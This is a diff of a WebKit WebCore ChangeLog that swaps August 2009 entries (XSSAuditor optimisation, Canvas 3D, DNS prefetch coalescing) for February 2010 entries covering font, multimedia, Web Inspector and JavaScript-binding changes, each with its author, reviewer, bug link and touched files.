+        (WebCore::toPoint): New convenience method to convert an IntSize to an IntPoint.
+        * rendering/LayoutState.cpp:
+        (WebCore::LayoutState::LayoutState):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlock):
+        (WebCore::RenderBlock::paintObject):
+        (WebCore::RenderBlock::selectionGapRectsForRepaint):
+        (WebCore::RenderBlock::nodeAtPoint):
+        (WebCore::RenderBlock::offsetForContents):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::clippedOverflowRectForRepaint):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPosition):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::size):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::computeRectForRepaint):
+        * rendering/TextControlInnerElements.cpp:
+        (WebCore::RenderTextControlInnerBlock::positionForPoint):
 
-        Not reviewed (patching in l18n change that was missing due to
-        the git binary diff format).
+2009-02-22  Adam Langley  <agl@google.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28429
+        Reviewed by Darin Fisher.
 
-        * English.lproj/localizedStrings.js:
+        fontconfig on Linux can change the render preferences on a per strike
+        basis (a strike a combination of face and size). Because of this, we
+        need to query fontconfig each time a new FontPlatformData is created
+        for a new size.
 
-2009-08-28  Adam Barth  <abarth@webkit.org>
+        This patch adds support for querying this via ChromiumBridge.
 
-        Reviewed by Eric Seidel.
+        https://bugs.webkit.org/show_bug.cgi?id=33065
 
-        Make XSSAuditor go fast
-        https://bugs.webkit.org/show_bug.cgi?id=28667
+        * platform/chromium/ChromiumBridge.h: add getRenderStyleForStrike
+        * platform/graphics/chromium/FontCacheLinux.cpp:
+        (WebCore::FontCache::createFontPlatformData):
+        * platform/graphics/chromium/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::fontPlatformData):
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::operator=):
+        (WebCore::FontPlatformData::setupPaint):
+        (WebCore::FontPlatformData::queryStyle):
+          add code to query fontconfig via ChromiumBridge
+        * platform/graphics/chromium/FontPlatformDataLinux.h:
 
-        Make the XSSAuditor go faster by implementing two optimizations:
+2010-02-22  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        1) We avoid canonicalizing scripts that are larger than the page's URL.
-           This saves a bunch of time for large inline scripts.
+        Build fix for make distcheck.
 
-        2) We memoize canonicalizing the page's URL because it's silly to
-           canonicalize repeated for each inline event listener.
+        * GNUmakefile.am:
 
-        These optimizations have a measurable affect on the intl1 page cycler.
+2010-02-22  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        No behavior change.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::MemoizingURLCanonicalizer::canonicalizeURL):
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::canSetBaseElementURL):
-        (WebCore::XSSAuditor::decodeURL):
-        (WebCore::XSSAuditor::findInRequest):
-        * page/XSSAuditor.h:
+        Fix compiler warning "suggest parentheses around"
+        https://bugs.webkit.org/show_bug.cgi?id=35197
 
-2009-08-27  Dimitri Glazkov  <dglazkov@chromium.org>
+        No new tests as there is no new functionality.
 
-        Unreviewed, build fix.
+        * wml/WMLVariables.cpp:
+        (WebCore::substituteVariableReferences):
 
-        Removed ASSERT_NOT_REACHED, because indeed this ASSERT is reached in
-        fast/canvas/change-context.html. And it's alright to reach it.
+2010-02-22  Gustavo Noronha Silva  <gns@gnome.org>
 
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Removed assertion.
+        Reviewed by Xan Lopez.
 
-2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
+        [Soup] loses information related to message flags when converting from/to Resource{Request,Response}
+        https://bugs.webkit.org/show_bug.cgi?id=35093
 
-        Not reviewed.  Build fix for http://trac.webkit.org/changeset/47840
+        Store message flags in WebCore objects, and set them on the
+        SoupMessage, when creating one from them.
 
-        Peter's change forgot one m_decoder->
+        No behaviour change.
 
-        * platform/graphics/ImageSource.cpp:
-        (WebCore::ImageSource::frameSizeAtIndex):
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::fillResponseFromMessage):
+        * platform/network/soup/ResourceRequest.h:
+        (WebCore::ResourceRequest::soupMessageFlags):
+        (WebCore::ResourceRequest::setSoupMessageFlags):
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::toSoupMessage):
+        (WebCore::ResourceRequest::updateFromSoupMessage):
+        * platform/network/soup/ResourceResponse.h:
+        (WebCore::ResourceResponse::soupMessageFlags):
+        (WebCore::ResourceResponse::setSoupMessageFlags):
+        * platform/network/soup/ResourceResponseSoup.cpp:
+        (WebCore::ResourceResponse::toSoupMessage):
+        (WebCore::ResourceResponse::updateFromSoupMessage):
 
-2009-08-27  Dimitri Glazkov  <dglazkov@chromium.org>
+2010-02-22  Steve Block  <steveblock@google.com>
 
-        Unreviewed, build fix.
+        Reviewed by Nate Chapin.
 
-        [V8] Add NULL-check, since the context ain't changeable no more, and
-        thus getContext could return 0.
+        Shared worker types used in globalObjectPrototypeIsDOMWindow are not properly guarded
+        https://bugs.webkit.org/show_bug.cgi?id=35238
 
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Added NULL-check.
+        No new tests, build fix only.
 
-2009-08-27  Noel Gordon  <noel.gordon@gmail.com>
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::globalObjectPrototypeIsDOMWindow):
 
-        Reviewed by Eric Seidel.
+2010-02-22  Steve Block  <steveblock@google.com>
 
-        dataTransfer.types() should include type "Files" when files are present in the clipboard.
-        https://bugs.webkit.org/show_bug.cgi?id=28780
+        Reviewed by Simon Fraser.
 
-        Add dataTransfer type "Files" to the chromium port.  Add eseidel's
-        patch for same for the mac port.
+        Simplifies calculation of the transform in RenderLayer::paintLayer
+        https://bugs.webkit.org/show_bug.cgi?id=35101
 
-        * platform/chromium/ClipboardChromium.cpp:
+        No new tests, optimization only.
 
-2009-08-27  Chris Marrin  <cmarrin@apple.com>
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
 
-        Reviewed by Simon Fraser.
+2010-02-22  Nicholas Young  <nicholas.young@nokia.com>
 
-        Removed GL_ from all constants, and gl prefix from all calls
-        https://bugs.webkit.org/show_bug.cgi?id=28773
+        Reviewed by Tor Arne Vestbø.
 
-        This was done for the external API in CanvasRenderingContext3D and
-        the internal API in GraphicsContext3D.
+        [Qt] Switching from Phonon to QtMultimedia Backend for Qt 4.7
 
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        * html/canvas/CanvasRenderingContext3D.h:
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
-        * html/canvas/CanvasRenderingContext3D.idl:
-        * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        https://bugs.webkit.org/show_bug.cgi?id=34631
 
-2009-08-27  Jan Michael Alonzo  <jmalonzo@webkit.org>
+        No new tests. This patch only affects multimedia backend.
 
-        Qt and Gtk build fixes. Not reviewed.
+        * WebCore.pro: Build depends on Qt version.
+        * css/mediaControlsQt.css: Updated media controls.
+        * platform/graphics/MediaPlayer.cpp: Different backend included depending on Qt version.
+        * platform/graphics/qt/MediaPlayerPrivateQt.cpp: Added new QtMultimedia Backend.
+        (WebCore::MediaPlayerPrivate::create):
+        (WebCore::MediaPlayerPrivate::registerMediaEngine):
+        (WebCore::MediaPlayerPrivate::getSupportedTypes):
+        (WebCore::MediaPlayerPrivate::supportsType):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::hasVideo):
+        (WebCore::MediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::cancelLoad):
+        (WebCore::MediaPlayerPrivate::play):
+        (WebCore::MediaPlayerPrivate::pause):
+        (WebCore::MediaPlayerPrivate::paused):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::seeking):
+        (WebCore::MediaPlayerPrivate::duration):
+        (WebCore::MediaPlayerPrivate::currentTime):
+        (WebCore::MediaPlayerPrivate::buffered):
+        (WebCore::MediaPlayerPrivate::maxTimeSeekable):
+        (WebCore::MediaPlayerPrivate::bytesLoaded):
+        (WebCore::MediaPlayerPrivate::totalBytes):
+        (WebCore::MediaPlayerPrivate::setRate):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::supportsMuting):
+        (WebCore::MediaPlayerPrivate::setMuted):
+        (WebCore::MediaPlayerPrivate::networkState):
+        (WebCore::MediaPlayerPrivate::readyState):
+        (WebCore::MediaPlayerPrivate::setVisible):
+        (WebCore::MediaPlayerPrivate::mediaStatusChanged):
+        (WebCore::MediaPlayerPrivate::handleError):
+        (WebCore::MediaPlayerPrivate::stateChanged):
+        (WebCore::MediaPlayerPrivate::nativeSizeChanged):
+        (WebCore::MediaPlayerPrivate::queuedSeekTimeout):
+        (WebCore::MediaPlayerPrivate::seekTimeout):
+        (WebCore::MediaPlayerPrivate::positionChanged):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        (WebCore::MediaPlayerPrivate::volumeChanged):
+        (WebCore::MediaPlayerPrivate::mutedChanged):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::setSize):
+        (WebCore::MediaPlayerPrivate::naturalSize):
+        (WebCore::MediaPlayerPrivate::paint):
+        (WebCore::MediaPlayerPrivate::repaint):
+        * platform/graphics/qt/MediaPlayerPrivateQt.h: Added new QtMultimedia Backend.
+        (WebCore::MediaPlayerPrivate::isAvailable):
+        (WebCore::MediaPlayerPrivate::supportsFullscreen):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::mediaControlsBaselineOpacity): New method.
+        (WebCore::RenderThemeQt::paintMediaBackground): Background depends on baseline opacity.
+        (WebCore::RenderThemeQt::paintMediaMuteButton): Changed styling.
+        (WebCore::RenderThemeQt::paintMediaCurrentTime): Added current time display.
+        (WebCore::RenderThemeQt::formatMediaControlsCurrentTime): Added time formatting.
+        (WebCore::RenderThemeQt::formatMediaControlsRemainingTime): Added time formatting.
+        (WebCore::RenderThemeQt::paintMediaVolumeSliderTrack): Volume slider added.
+        (WebCore::RenderThemeQt::paintMediaVolumeSliderThumb): Volume slider added.
+        (WebCore::RenderThemeQt::paintMediaSliderTrack): Updated for QtMultimedia.
+        (WebCore::RenderThemeQt::paintMediaSliderThumb): Dropped an unnecessary check.
+        (WebCore::RenderThemeQt::adjustSliderThumbSize): Handle a missing case.
+        * platform/qt/RenderThemeQt.h: Reimplemented a few more methods.
 
-        Add CanvasRenderingContext3D.idl to the build scripts.
+2010-02-22  Alexander Pavlov  <apavlov@chromium.org>
 
-        * GNUmakefile.am:
-        * WebCore.pro:
+        Not reviewed: mac build fix
 
-2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
+        * bindings/js/ScriptDebugServer.cpp:
+        (WebCore::ScriptDebugServer::ScriptDebugServer):
 
-        Reviewed by Darin Fisher.
+2010-02-22  Alexander Pavlov  <apavlov@chromium.org>
 
-        Release the storage mutex whenever leaving JavaScript execution.
-        https://bugs.webkit.org/show_bug.cgi?id=28789
+        Reviewed by Pavel Feldman.
 
-        http://dev.w3.org/html5/spec/Overview.html#storage-mutex describes the
-        required behavior.  After we leave JavaScript, we must be sure the storage
-        mutex has been released.  At the end of evaluate(), if localStorage has been
-        instantiated, tell it to release any locks that may be applicable.
+        Web Inspector: there should be a way to "deactivate" or "skip" all breakpoints while debugging.
+        https://bugs.webkit.org/show_bug.cgi?id=33217
 
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
+        * English.lproj/localizedStrings.js:
+        * bindings/js/ScriptDebugServer.cpp:
+        (WebCore::ScriptDebugServer::ScriptDebugServer):
+        (WebCore::ScriptDebugServer::hasBreakpoint):
+        (WebCore::ScriptDebugServer::setBreakpointsActivated):
+        * bindings/js/ScriptDebugServer.h:
+        * bindings/v8/ScriptDebugServer.h:
+        (WebCore::ScriptDebugServer::setBreakpointsActivated):
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::activateBreakpoints):
+        (WebCore::InspectorBackend::deactivateBreakpoints):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/front-end/Images/deactivateBreakpointsButtonGlyph.png: Added.
+        * inspector/front-end/Images/deactivateBreakpointsDisabledButtonGlyph.png: Added.
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.activateBreakpoints):
+        (.WebInspector.InspectorBackendStub.prototype.deactivateBreakpoints):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.get breakpointsActivated):
+        (WebInspector.ScriptsPanel.prototype.addBreakpoint):
+        (WebInspector.ScriptsPanel.prototype._stepOutClicked):
+        (WebInspector.ScriptsPanel.prototype._toggleBreakpointsClicked):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/textViewer.css:
 
-2009-08-27  Alexey Proskuryakov  <ap@apple.com>
+2010-02-22  Mark Rowe  <mrowe@apple.com>
 
-        Reviewed by Oliver Hunt.
+        Rubber-stamped by Sam Weinig and Maciej Stachowiak.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28753
-        <rdar://problem/7173448> Excessive number of threads (and a crash)
-
-        Coalesce DNS prefetch requests to reduce strain on CFHost. Currently, the algorithm is as follows:
-        - when resolver is idle, the first few requests are sent immediately (they may or may not
-        hit the wire);
-        - if there are a few requests in flight already, coalesce all requests for one second;
-        - to avoid pathological cases with lots of links to different sites on a page, only ask
-        CFHost about a handful of names (dropping the rest).
-
-        Coalescing reduces the number of requests dramatically, as prefetchDNS is called for each
-        link, and these tend to have identical host name.
-
-        * platform/network/cf/DNSCFNet.cpp:
-        (WebCore::DNSResolveQueue::DNSResolveQueue):
-        (WebCore::DNSResolveQueue::shared):
-        (WebCore::DNSResolveQueue::add):
-        (WebCore::DNSResolveQueue::decrementRequestCount):
-        (WebCore::DNSResolveQueue::fired):
-        (WebCore::clientCallback):
-        (WebCore::DNSResolveQueue::resolve):
-        (WebCore::prefetchDNS):
+        REGRESSION (r55039): Animation starts from near end when loaded over slow network
+        <http://webkit.org/b/35222> / <rdar://problem/7673523>
 
-2009-08-27  Chris Marrin  <cmarrin@apple.com>
+        Roll out r55039 (related to <http://webkit.org/b/35115>) as it causes animated GIFs
+        to skip intermediate frames when loading over a slower network.
 
-        Reviewed by Simon Fraser.
+        * platform/graphics/BitmapImage.cpp:
+        (WebCore::BitmapImage::startAnimation):
 
-        Final patch for Canvas 3D support
-        https://bugs.webkit.org/show_bug.cgi?id=28018
+2010-02-22  Maciej Stachowiak  <mjs@apple.com>
 
-        This hooks everything up and provides a working implementation of
-        Canvas 3D. I plumb the creation of the 3D canvas down to GraphicsLayer,
-        passing the opaque context and texture pointers so a Canvas3DLayer can be
-        created (more on that later). It also plumbs changes to the 3D canvas so
-        that Canvas3DLayer can recomposite the results.
-        
-        A 3D Canvas element needs a RenderLayer and compositing layer to render.
-        This is because it renders to an off-screen texture in the GPU and then
-        hands it to a Canvas3DLayer, which is a subclass of CAOpenGLLayer, to
-        render that texture as a 3D quad. This keeps everything in GPU memory to 
-        maximize performance. When a CanvasRenderingContext3D is created it 
-        forces a style recalc which creates the RenderLayer and compositing 
-        layer if needed. 
+        Not reviewed, build fix.
         
-        I repurposed an existing flag which was put in place for animation to accomplish 
-        this. This flag is passed to setNeedsStyleRecalc(), and I renamed it from 
-        AnimationStyleChange to SyntheticStyleChange. It essentially says that you need
-        to do a complete style recalc, even though the style itself has not really
-        changed.
+        Revert the previous change.
         
-        This patch also fixes a couple of bugs discovered when testing with 3d-canvas
-        turned on. I also added a constructor DOMWindow.idl for CanvasRenderingContext3D.
-        This is needed when making a JS wrapper for the object so the prototype 
-        property can be set.
-
-        Test: fast/canvas/change-context.html
-
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
-        (WebCore::JSCanvasRenderingContext3D::glDrawElements):
-        * bindings/js/JSCanvasRenderingContextCustom.cpp:
-        (WebCore::toJS):
-        * dom/Element.cpp:
-        (WebCore::Element::recalcStyle):
-        * dom/Node.cpp:
-        (WebCore::Node::setNeedsStyleRecalc):
-        * dom/Node.h:
-        (WebCore::):
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext):
-        (WebCore::HTMLCanvasElement::is3D):
-        * html/HTMLCanvasElement.h:
-        * html/canvas/CanvasBuffer.cpp:
-        (WebCore::CanvasBuffer::create):
-        (WebCore::CanvasBuffer::CanvasBuffer):
-        (WebCore::CanvasBuffer::_deleteObject):
-        * html/canvas/CanvasBuffer.h:
-        * html/canvas/CanvasFramebuffer.cpp:
-        (WebCore::CanvasFramebuffer::create):
-        (WebCore::CanvasFramebuffer::CanvasFramebuffer):
-        (WebCore::CanvasFramebuffer::_deleteObject):
-        * html/canvas/CanvasFramebuffer.h:
-        * html/canvas/CanvasObject.cpp:
-        (WebCore::CanvasObject::CanvasObject):
-        (WebCore::CanvasObject::~CanvasObject):
-        (WebCore::CanvasObject::deleteObject):
-        * html/canvas/CanvasObject.h:
-        (WebCore::CanvasObject::context):
-        * html/canvas/CanvasProgram.cpp:
-        (WebCore::CanvasProgram::create):
-        (WebCore::CanvasProgram::CanvasProgram):
-        (WebCore::CanvasProgram::_deleteObject):
-        * html/canvas/CanvasProgram.h:
-        * html/canvas/CanvasRenderbuffer.cpp:
-        (WebCore::CanvasRenderbuffer::create):
-        (WebCore::CanvasRenderbuffer::CanvasRenderbuffer):
-        (WebCore::CanvasRenderbuffer::_deleteObject):
-        * html/canvas/CanvasRenderbuffer.h:
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        (WebCore::CanvasRenderingContext3D::createBuffer):
-        (WebCore::CanvasRenderingContext3D::createFramebuffer):
-        (WebCore::CanvasRenderingContext3D::createTexture):
-        (WebCore::CanvasRenderingContext3D::createProgram):
-        (WebCore::CanvasRenderingContext3D::createRenderbuffer):
-        (WebCore::CanvasRenderingContext3D::createShader):
-        * html/canvas/CanvasRenderingContext3D.h:
-        (WebCore::CanvasRenderingContext3D::graphicsContext3D):
-        * html/canvas/CanvasShader.cpp:
-        (WebCore::CanvasShader::create):
-        (WebCore::CanvasShader::CanvasShader):
-        (WebCore::CanvasShader::_deleteObject):
-        * html/canvas/CanvasShader.h:
-        * html/canvas/CanvasTexture.cpp:
-        (WebCore::CanvasTexture::create):
-        (WebCore::CanvasTexture::CanvasTexture):
-        (WebCore::CanvasTexture::_deleteObject):
-        * html/canvas/CanvasTexture.h:
-        * page/DOMWindow.idl:
-        * page/animation/AnimationBase.cpp:
-        (WebCore::AnimationBase::setNeedsStyleRecalc):
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateAnimationTimer):
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        (WebCore::AnimationControllerPrivate::pauseAnimationAtTime):
-        (WebCore::AnimationControllerPrivate::pauseTransitionAtTime):
-        (WebCore::AnimationController::cancelAnimations):
-        * platform/graphics/GraphicsContext3D.h:
-        (WebCore::GraphicsContext3D::platformGraphicsContext3D):
-        (WebCore::GraphicsContext3D::platformTexture):
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::GraphicsLayer::setContentsToGraphicsContext3D):
-        (WebCore::GraphicsLayer::setGraphicsContext3DNeedsDisplay):
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::~GraphicsContext3D):
-        (WebCore::GraphicsContext3D::reshape):
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        (WebCore::GraphicsLayerCA::):
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
-        (WebCore::GraphicsLayerCA::commitLayerChanges):
-        (WebCore::GraphicsLayerCA::updateContentsGraphicsContext3D):
-        (WebCore::GraphicsLayerCA::setContentsToGraphicsContext3D):
-        (WebCore::GraphicsLayerCA::setGraphicsContext3DNeedsDisplay):
-        * rendering/RenderHTMLCanvas.cpp:
-        (WebCore::RenderHTMLCanvas::requiresLayer):
-        * rendering/RenderHTMLCanvas.h:
-        (WebCore::RenderHTMLCanvas::isCanvas):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
-        (WebCore::RenderLayerBacking::canUseDirectCompositing):
-        (WebCore::RenderLayerBacking::rendererContentChanged):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
-        (WebCore::RenderLayerCompositor::requiresCompositingForCanvas):
-        * rendering/RenderLayerCompositor.h:
-        * rendering/RenderObject.h:
-        (WebCore::RenderObject::isCanvas):
-
-2009-08-27  Peter Kasting  <pkasting@google.com>
+2010-02-21  Maciej Stachowiak  <mjs@apple.com>
 
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28751
-        Clean up ImageDecoder*.cpp a bit.
-
-        * platform/image-decoders/ImageDecoder.cpp: Put functions in the same
-          order as in the header file.  Also, since there's already an anonymous
-          namespace in this file, use it to enclose the local helper functions.
-        (WebCore::):
-        (WebCore::ImageDecoder::upperBoundScaledX):
-        (WebCore::ImageDecoder::lowerBoundScaledX):
-        (WebCore::ImageDecoder::scaledY):
-        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
-        (WebCore::RGBA32Buffer::width): Style fix.
-        (WebCore::RGBA32Buffer::height): Style fix.
-        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp:
-        (WebCore::RGBA32Buffer::copyBitmapData): Ensure m_size is set correctly.
-        (WebCore::RGBA32Buffer::asNewNativeImage): Remove unneeded temp.
-        (WebCore::RGBA32Buffer::operator=): Simplify.
-        * platform/image-decoders/wx/ImageDecoderWx.cpp:
-        (WebCore::RGBA32Buffer::asNewNativeImage): Try and collect spaced-out temps under loop comment to show they're all related.  Use size_t for iterating over elements of a Vector.
-        (WebCore::RGBA32Buffer::width): Style fix.
-        (WebCore::RGBA32Buffer::height): Style fix.
-
-2009-08-27  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28751
-        Clean up ImageSource.* in preparation for more fixes on bug 27965.
-
-        * platform/graphics/ImageSource.cpp: Put functions in the same order as in header file.
-        (WebCore::ImageSource::isSizeAvailable): Shorten.
-        (WebCore::ImageSource::size): Shorten.
-        (WebCore::ImageSource::frameSizeAtIndex): Shorten.
-        (WebCore::ImageSource::repetitionCount): Shorten.
-        (WebCore::ImageSource::frameIsCompleteAtIndex):
-        * platform/graphics/ImageSource.h: Shorten #ifdef section a bit by sharing common typedefs.
-
-2009-08-27  Peter Kasting  <pkasting@google.com>
+        Reviewed by Darin Adler.
 
-        Reviewed by Eric Seidel.
+        Cache JavaScript wrappers inline in DOM nodes
+        https://bugs.webkit.org/show_bug.cgi?id=35226
+        <rdar://problem/7664202>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28785
-        Add ImageDecoder.cpp to various build files so platforms will be able to
-        use it.  Move an ENABLE to not cover the whole file, in preparation for
-        adding a bunch of code.  Simplify #ifdefs in ImageDecoder.h to be "Skia
-        vs. everyone else", which also gives new platforms a reasonable default
-        behavior.
+        8.8% speedup on Dromaeo DOM Core tests.
+        3.3% speedup on Hixie DOM Core tests.
+        
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::forgetDOMNode): Clear wrapper pointer.
+        (WebCore::cacheDOMNodeWrapper): Cache inline too if caching for normal world.
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWrapperMapFor): 
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::toJS): Remove unneeded argument from getCachedDOMNodeWrapper.
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::createWrapperInline): Renamed version of original createWrapper.
+        (WebCore::createWrapper): Call createWrapperInline. Out-of-line version.
+        (WebCore::toJSNewlyCreated): Call createWrapperInline instead of createWrapper.
+        * bindings/js/JSNodeCustom.h: Added.
+        (WebCore::getCachedDOMNodeWrapper): Moved here so it can be inlined.
+        (WebCore::toJS): Moved here so it can be inlined.
+        * bindings/js/ScriptWrappable.h:
+        (WebCore::ScriptWrappable::ScriptWrappable): Implement this in the obvious
+        way for JavaScriptCore.
+        (WebCore::ScriptWrappable::wrapper):
+        (WebCore::ScriptWrappable::setWrapper):
+        (WebCore::ScriptWrappable::clearWrapper):
+        * bindings/scripts/CodeGeneratorJS.pm: Include CustomHeader heaaders
+        in the header, not just the impl file, so they can add inlining.
+        * dom/Node.idl: Add CustomHeader directive.
+        
+        Add new files to build.
 
         * GNUmakefile.am:
         * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
-        * WebCoreSources.bkl:
-        * platform/image-decoders/ImageDecoder.cpp:
-        (WebCore::):
-        * platform/image-decoders/ImageDecoder.h:
-        (WebCore::RGBA32Buffer::getAddr):
-
-2009-08-27  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Dave Kilzer.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=28784
-        
-        Add an exported method to flush pending repaints.
-
-        * WebCore.base.exp:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layoutIfNeededRecursive):
-        (WebCore::FrameView::flushDeferredRepaints):
-        * page/FrameView.h:
-
-2009-08-27  Noel Gordon  <noel.gordon@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [V8] Expose files from the pasteboard in drop events.
-        https://bugs.webkit.org/show_bug.cgi?id=28782
-
-        Update chromium port to expose dataTransfer.files() as per
-        HTML5 drag drop (Aug 2009 edition).
-
-        * platform/chromium/ClipboardChromium.cpp:
 
-2009-08-27  Yury Semikhatsky  <yurys@chromium.org>
+2010-02-22  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Dmitry Glazkov.
+        Not reviewed: windows build fix.
 
-        ScriptState now keeps explicit Handle of devtools front-end
-        utility context instead of trying to retrieve it from inspected
-        Frame.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28772
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::ScriptController):
-        * bindings/v8/ScriptController.h:
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/v8/ScriptScope.cpp:
-        (WebCore::ScriptScope::ScriptScope):
-        * bindings/v8/ScriptState.cpp:
-        (WebCore::ScriptState::ScriptState):
-        (WebCore::ScriptState::~ScriptState):
-        (WebCore::scriptStateFromPage):
-        * bindings/v8/ScriptState.h:
-        (WebCore::ScriptState::context):
-        * bindings/v8/ScriptValue.h:
-        (WebCore::ScriptValue::~ScriptValue):
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::frontendScriptState):
-
-2009-08-27  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-21  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Console won't close.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28778
+        Web Inspector: stop on inline breakpoints on reload.
+        - ScriptBreakpoint struct has been introduced and reused in InspectorController
+          and debug server.
+        - JavaScriptDebugServer was moved to bindings/js and renamed to ScriptDebugServer
+          There were no changes to semantics, only some mechanical changes:
+            - addBreakpoint and updateBreakpoint were merged into setBreakpoint
+            - ScriptDebugServer now operates ScriptBreakpoint instances instead of
+              BreakpointInfo.
+            - It no longer allocates maps and breakpoint info in heap - all done on stack.
+            - JavaScriptDebugListener is now ScriptDebugServer::Listener
+            - Listener methods no longer have ExecState (was unused).
+            - addListener/removeListener pair wuth no page argument removed (was unused).
+        - InspectorController now binds sourceID to url and maintains a map of 'sticky'
+          breakpoints. Whenever script is loaded and there is a sticky breakpoint url matching,
+          breakpoint is being 'restored' synchronously in debug server and pushed to frontend.
+          Front-end no longer stores map of sticky breakpoints.
+            - setBreakpoint/removeBreakpoint/didParseSource trio handle this logic.
+        - A bunch of if(USE_JSC/V8/other) forks removed.
+        - InspectorFrontend now operates primitive types only, got rid of USE_JSC as well.
 
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
-        * inspector/front-end/utilities.js:
-        (Node.prototype.isAncestor):
-
-2009-08-27  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Fix a typo in files() causing image drags to have junk file arrays.
-        https://bugs.webkit.org/show_bug.cgi?id=28755
-
-        Test: editing/pasteboard/files-during-page-drags.html
-
-        * platform/mac/ClipboardMac.mm:
-        (WebCore::ClipboardMac::files):
-
-2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
-
